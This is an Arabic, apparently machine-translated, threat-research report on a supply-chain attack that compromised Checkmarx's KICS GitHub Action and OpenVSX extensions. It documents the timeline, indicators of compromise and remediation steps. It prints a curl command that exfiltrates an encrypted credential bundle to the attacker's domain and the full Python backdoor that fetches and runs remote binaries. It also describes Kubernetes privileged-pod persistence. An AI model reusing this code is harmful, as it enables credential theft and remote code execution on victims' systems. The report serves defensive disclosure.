تم اختراق KICS GitHub Action باستخدام برامج ضارة لسرقة بيانات الاعتماد بواسطة TeamPCP، وهي نفس المجموعة التي تقف وراء هجوم Trivy. KICS عبارة عن بنية تحتية مفتوحة المصدر تعمل كأداة فحص أمان التعليمات البرمجية بواسطة Checkmarx. بين الساعة 12:58 والساعة 16:50 بالتوقيت العالمي المنسق يوم 23 مارس، فإن أي من مستخدمي GitHub Action الذين كانوا يقومون بتثبيت إحدى العلامات المخترقة قد تعرضوا للبرامج الضارة. تمت إزالة المستودع في الساعة 16:50 بالتوقيت العالمي، بعد فترة وجيزة من تقديم مستخدم لمشكلة GitHub لإبلاغ المشرفين بالحادث.
كان الإجراء متاحًا على https://github.com/Checkmarx/kics-github-action قبل الإزالة.
تحديث 24/03:
11:30 بالتوقيت العالمي: تعرضت حزم “litllm” (الإصداران 1.82.7 و1.82.8) الموجودة على PyPI لفيروس طروادة. وهي تحتوي على نفس وظيفة العملية السابقة، ولكن باستخدام مجال ترشيح جديد:models.litellm[.]سحاب. تم نشر التحديث الضار في حوالي الساعة 8:30 بالتوقيت العالمي وتم عزله بواسطة PyPI في الساعة 11:25 بالتوقيت العالمي. يمكن لعملاء Wiz الاطلاع على النصائح الاستشارية في مركز التهديدات.
التحديثات 23/03:
19:24 بالتوقيت العالمي: تمت استعادة المستودع، ويقول المشرفون “تم حل المشكلة الآن.”
22:25 بالتوقيت العالمي: أفاد Sysdig أن ast-github-action تأثر أيضًا. لقد اقتصروا على مراقبة علامة خبيثة واحدة 2.3.28 – ولكن بناءً على تكتيكات TeamPCP، نعتقد أنه من المحتمل أن تكون جميع العلامات قد تأثرت.
22:35 بالتوقيت العالمي: بناءً على نصيحة من الباحث المستقل عدنان خان، أكد Wiz أن امتدادات Checkmarx OpenVSX cx-dev-assist 1.7.0 و نتائج تم اختراق 2.53.0. تم الإبلاغ عن هذا بشكل متزامن بواسطة ReversingLabs عبر تغريدة. يرى “حمولة OpenVSX” القسم أدناه للحصول على التفاصيل. لقد أبلغنا OpenVSX بهذه الأمور لإزالتها.
تحديث 24/03 الساعة 9:00 بالتوقيت العالمي: نشرت Checkmarx تحديثًا أمنيًا يتناول المشكلات المتعلقة بإجراء KICS GitHub والمكونات الإضافية OpenVSX. يذكرون وقت القرار 15:41 بالتوقيت العالمي لـ OpenVSXومع ذلك، لاحظنا أن الإصدارات الضارة كانت موجودة في وقت إعداد تقريرنا. بالإضافة إلى ذلك، في حين تم دفع الإصدارات الجديدة، لم تتم إزالة الإصدارات الضارة بعد.
هذا هو ثاني برنامج فحص أمني مفتوح المصدر مشهور قامت هذه المجموعة باختراقه في الأيام الخمسة الماضية. تستخدم العملية اصطلاحات تسمية مألوفة ونفس مفتاح RSA العام، مما يسمح لـ Wiz بالتقييم بثقة عالية أنه نفس الممثل.
حمولة العمل KICS Github
تم إدخال الكود الخبيث بنفس الطريقة التي تم بها حادثة Trivy:
-
ارتكب المهاجم عمليات الدجال (التي ارتكبت على تفرع من المستودع) التي تحتوي على حمولته:
setup.shوقمت بتعديل الملف action.yaml لتشغيل حدث “Prepare Environment” الذي من شأنه تشغيل setup.sh.
-
استخدم المهاجم بعد ذلك ما يبدو أنه هوية مخترقة لتحديث جميع العلامات الـ 35 في المشروع مباشرةً وتوجيهها إلى تلك الالتزامات المرحلية (قائمة العلامات أدناه)
يعمل setup.sh بشكل مشابه لإجراءات السرقة السرية المستخدمة في عملية Trivy، حيث يقوم بجمع الأسرار ثم تشفيرها وإخراجها. ويحاول مرة أخرى إرسالها إلى خادم يتحكم فيه المهاجم، مع إنشاء مستودع github كنسخة احتياطية، ولكنه يستخدم مجال ترشيح جديد، checkmarx.zone (83.142.209.11) وexscription repo docs-tpcp. كما هو الحال مع عملية Trivy، يمكن لهذه البرامج الضارة إسقاط نص برمجي من نوع python يهدف إلى تنزيل وتثبيت حمولة متابعة. ومع ذلك، يضيف هذا التنفيذ آلية استمرارية جديدة تركز على Kubernetes.
بينما kics-github-action لديه ~1% من الاستخدام العام المرئي لـ trivy-action، لا يزال يتم اعتماده على نطاق واسع بشكل عام وخاص باعتباره بنية أساسية كأداة فحص أمان التعليمات البرمجية.
تسوية جيثب
ويبدو أن الهجوم قد تم عن طريق تسوية cx-plugins-releases (GitHub ID 225848595) حساب الخدمة، حيث أن هذه هي الهوية المشاركة في نشر العلامات الضارة.
وظيفة البرنامج النصي
التهيئة وسرقة البيانات والتصفية
يبدأ البرنامج النصي بمجموعة العلامات -euo Pipefail لضمان فشله بصمت، ثم يبحث عن GitHub Actions والمتسابقين العامين وينشئ ملفًا مرحليًا في /tmp. ثم يبدأ البحث عن بيانات الاعتماد الخاص به والذي يجري عمليات البحث التالية:
-
يجمع المتغيرات البيئية ومفاتيح SSH الخاصة/العامة ويبحث عن أي ملفات تحتوي على هذه القيم.
-
إذا اكتشف أنه يعمل على مشغل مستضاف على GitHub، فإنه ينفذ برنامج نصي بيثون للوصول إلى /proc/[PID]/mem لتفريغ ذاكرة Runner.Worker ونحت كائنات JSON التي تم وضع علامة عليها باعتبارها أسرار عبر التعبيرات العادية
-
يستعلم برنامج python النصي الثاني عن نقاط نهاية البيانات الوصفية لمثيل AWS (IMDSv1/v2)، ويزحف إلى الدلائل الشائعة (/home، /root، وما إلى ذلك) ويستعلم عن Kubernetes API في حالة العثور على الرموز المميزة لحساب الخدمة المحلية.
يتم تجميع أي أسرار محددة في ملف نص عادي مُجمَّع، ثم يتم تشفيرها باستخدام AES-256-CBC ومفتاح جلسة عشوائي (openssl rand 32 > “$_SESSION_KEY”). يتم بعد ذلك تشفير مفتاح الجلسة باستخدام مفتاح RSA العام المشفر للمهاجم. وهذا هو نفس المفتاح العام المستخدم في العملية السابقة. ثم يتم ضغط كلا الملفين في tpcp.tar.gz.
يحاول البرنامج النصي إخراجهم عبر الضفيرة. يتم التقاط رمز حالة HTTP للتحقق من النجاح:
_HTTP=$(curl -s -o /dev/null -w "%http_code" -X POST https://checkmarx.zone -H "Content-Type: application/octet-stream" -H "X-Filename: tpcp.tar.gz" --data-binary "@$_BUNDLE" 2>/dev/null || echo "000")
إذا لم ينجح الأمر وكانت البيئة المخترقة تحتوي على GITHUB_TOKEN، فسيتم مصادقة البرنامج النصي على GitHub API. يقوم برمجيًا بإنشاء مستودع جديد (/docs-tpcp/) داخل حساب GitHub الخاص بالضحية، وإنشاء “إصدار” للبرنامج، وتحميل كرة القطران المشفرة المسروقة كأصل إصدار. استخدمت الحملة السابقة /tpcp-docs
استمرارية Kubernetes الجديدة
يحاول setup.sh إنشاء القدرة على إجراء عملية متابعة عبر نفس البرنامج النصي sysmon.py كما في عملية Trivy؛ ولكن هذه المرة تم استدعاء طريقة جديدة تعتمد على Kubernetes، في محاولة للنجاة من حذف حاوية CI الأولية. إذا تم تشغيل البرنامج النصي على حاوية Kubernetes التي تتمتع بأذونات كافية، فسوف يحاول نشر حاوية ذات امتيازات عالية وتشغيل sysmon.py داخلها. إذا تم تشغيله على مضيف Linux قياسي، فإنه ينشئ أدلة مخفية في المجلد الرئيسي للمستخدمين ~/.config/sysmon ويكتب الباب الخلفي للبايثون هناك. الباب الخلفي هو نفسه كما في الإصدار السابق، باستثناء أنه يقرأ من https://checkmarx.zone/raw، بدلاً من عنوان ico المستخدم في عملية Trivy.
import urllib.request
import os
import subprocess
import time
C_URL = "https://checkmarx[.]zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers='User-Agent': 'Mozilla/5.0')
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
إنشاء الكبسولة المميزة وتثبيت البرامج الضارة
يتحقق البرنامج النصي لمعرفة ما إذا كان الملف: /var/run/secrets/kubernetes.io/serviceaccount/token موجودًا، وإذا كان موجودًا، فإنه يستخدم هذا الرمز المميز للاستعلام عن /api/v1/nodes لجمع قائمة بكل خادم فعلي أو افتراضي أساسي في المجموعة واستخراج اسم_العقدة.
لكل عقدة، يقوم البرنامج النصي بإنشاء بيان pod وبرنامج نصي للحمولة. يستخدم البرنامج النصي بيان pod لإنشاء اسم ديناميكي ويضع جرابًا عالي الامتيازات في “مساحة الاسم”: “نظام kube”. تم تكوين الكبسولة لتشغيل البرنامج النصي للحمولة النافعة المخصص الذي تم إنشاؤه مسبقًا ثم الخروج. في كل عقدة محددة، يقوم البرنامج النصي للحمولة بتثبيت الباب الخلفي sysmon.py إلى /root/.config/sysmon/sysmon.py ويقوم بإنشاء ملف وحدة systemd على /root/.config/systemd/user/sysmon.service لضمان تشغيل البرنامج النصي python.
حمولة OpenVSX
كلا الامتدادات المعرضة للخطر (ast-results v2.53.0 و cx-dev-assist v1.7.0) تحتوي على حمولات متطابقة. تم نشرهما بفارق 12 ثانية في الساعة 12:53 بالتوقيت العالمي المنسق في 23 مارس 2026، عبر ast-phoenix حساب على فتح VSX. تظهر إصدارات VS Code Marketplace غير متأثرة.
تدفق تنفيذ الحمولة
-
عند تفعيل الامتداد الجديد الخبيث
environmentAuthChecker.jsيتم استدعاؤه منactivateCore.js -
تتحقق هذه الحمولة أولاً مما إذا كان لدى الضحية بيانات اعتماد لموفر سحابي واحد على الأقل
إذا تم اكتشاف أي بيانات اعتماد، فسيتم استرداد حمولة المرحلة الثانية من C2: checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz
-
تحاول الحمولة التنفيذ عبر npx أو Bunx أو pnpx أو الغزل dlx. يغطي هذا مديري حزم JavaScript الرئيسيين. تحتوي الحزمة المستردة على أداة شاملة لسرقة بيانات الاعتماد.
-
يتم بعد ذلك تشفير بيانات الاعتماد المحصودة، باستخدام المفاتيح كما هو الحال في أي مكان آخر في هذه الحملة، ويتم إرسالها إلى
checkmarx[.]zone/vsxمثلtpcp.tar.gz.
على الأنظمة التي لا تعتمد على CI، تقوم البرامج الضارة بتثبيت الثبات عبر خدمة مستخدم systemd. استطلاعات النص الثبات https://checkmarx[.]zone/raw كل 50 دقيقة للحمولات الإضافية، مع مفتاح إيقاف يتم إيقافه إذا كان الرد يحتوي على “youtube”. حاليًا، يقوم الرابط بإعادة التوجيه إلى The Show Must Go On بواسطة Queen.
التحف المسروقة
ملحقات OpenVSX
| قطعة أثرية | SHA256 |
|---|---|
| ast-results-2.53.0.vsix | 65bd72fcddaf938cefdf55b3323ad29f649a65d4ddd6aea09afa974dfc7f105d |
| cx-dev-assist-1.7.0.vsix | 744c9d61b66bcd2bb5474d9afeee6c00bb7e0cd32535781da188b80eb59383e0 |
| checkmarx-util-1.0.4.tgz | 0d66d8c7e02574ff0d3443de0585af19c903d12466d88573ed82ec788655975c |
| بيئةAuthChecker.js | 527f795a201a6bc114394c4cfd1c74dce97381989f51a4661aafbc93a4439e90 |
إصدارات kics-github-action
كان الإصدار v1.1 هو الإصدار الضار الوحيد الذي تم إنشاؤه. الإصدارات الأخرى، التي يتم تشغيلها تلقائيًا بواسطة أحداث العلامة، فشلت لأن هذه الإصدارات موجودة بالفعل.
العلامات kics-github-action
| علامة | ارتكاب شا |
|---|---|
| الإصدار 1 | 0e22ec8d1e0dda3c62bf4beffcd4a8a5db1abda1 |
| v1.0 | 45f3749467a6017cb4fb749054b498d149dd5924 |
| v1.1 | 8e20c7a67bb95632e2040327a355fb97e6014d29 |
| v1.2 | 93de85c910d859b759cf9185aa78d5a23a4b7000 |
| v1.3 | 0e7343ba084735863db92b6f8ba2fa9dee604f7c |
| v1.4 | 2dc0fa613f6f4c15f26ad98225ad253475681616 |
| v1.5 | f00191dd3352c0cd83c6cce4e6bf04b628214dd0 |
| v1.6 | e0359b1a253ee66c8018586c3225e6e9cd2d8a4f |
| v1.6.1 | dc6dbf358998c0c64da83edc8fcd581c12656b19 |
| v1.6.2 | 08b9ea97eb292d5e1f9ac2d8e21c0ba32f0fdff0 |
| v1.6.3 | 005fb0837553de722f8bf11d98e905dbdde19861 |
| v1.7.0 | a5471d37c656ecd4560e8e0b3977910f27025618 |
| الإصدار 2 | 3d49875ed47c6b8b4c8b50e0421418cf6b9f35f4 |
| v2.0.0 | 121c38fb49c9fc82160245fb6e2a9119db636e4d |
| v2.1.0 | 1e9eeaba37fe0032deba133f598e74dab0ceb3b7 |
| v2.1.1 | c5c07508527fc6a125855eebfb533e64f675bd8e |
| v2.1.2 | c999dbb9cc904e23675f9929f7e0e51d132879cf |
| v2.1.3 | 4ebf62dd8ff318412b38d19841fc3c8650e294bf |
| v2.1.4 | 3ae9f0d6f8139964635d411149f9b3e0a6eb935e |
| v2.1.5 | 96a0e8eb31c3cce6c495c9a49dd49c881cd17934 |
| v2.1.6 | 31fbf5831a2e52429738fdc0cbaa20e57872b6fc |
| v2.1.7 | fca3a20afcb8ec7f9932c060a236d2a9021fdd2b |
| v2.1.8 | 0f81f132f9f09bb4976d403914a44a1a1eb6158d |
| v2.1.9 | c0e23718a5074f3b8ad286f37b532e02057af35f |
| v2.1.10 | d66f0657133bc42f8264458063999bf1910490db |
| v2.1.11 | e35c9d6a5faffc1c5b3450d0bf09006aa9b9e906 |
| v2.1.12 | 2eee333d70fb6e14ce1d4aa73f12058bc5d70193 |
| v2.1.13 | f9641eb512f5c6530d13275903e8a97baf0925f1 |
| v2.1.14 | e8754eebc822b5122e96a6142b28dbc0e179c91c |
| v2.1.15 | 69b3f020390222a9fcb6029ba56533b2fb12f103 |
| v2.1.16 | db942a0dd7e9d1aeac72bc675bdb67f39a688b63 |
| v2.1.17 | 208813bf5feca5df9a935363cd426bc914614d0b |
| v2.1.18 | 3fdeadb81fbeddc1453163cc87bc173911fd47e2 |
| v2.1.19 | 310734c0ffd29438f6195a24e2cbbacfdc33c9ab |
| v2.1.20 | b974e53df1e3a2cd22ea90f0ec01882394feede4 |
ما هي الإجراءات التي يجب على فرق الأمن اتخاذها؟
-
تدقيق مراجع إجراءات KICS GitHub: مراجعة سير العمل باستخدام
kics-github-action. إذا قمت بالإشارة إلى علامة إصدار بدلاً من SHA، فتحقق من سجلات تشغيل سير العمل من نافذة العرض بحثًا عن علامات التسوية. -
البحث عن التحف التسرب: ابحث عن المستودعات المسماة
docs-tpcpفي مؤسسة GitHub الخاصة بك، مما قد يشير إلى عملية التصفية الناجحة عبر الآلية الاحتياطية.
تصلب على المدى الطويل: ارجع إلى كيفية تقوية إجراءات GitHub الخاصة بـ Wiz: الدليل غير الرسمي
كيف يمكن أن يساعد ويز؟
يجب على عملاء Wiz الاستمرار في مراقبة النصائح في مركز Wiz للتهديدات للحصول على إرشادات مستمرة واستعلامات معدة مسبقًا ومراجع للاكتشافات ذات الصلة التي يمكنهم استخدامها لتقييم المخاطر في بيئتهم.
هل تشعر بالقلق من تأثرك؟ تواصل مع فريق الاستجابة لحوادث Wiz.
شاهد الندوة عبر الويب
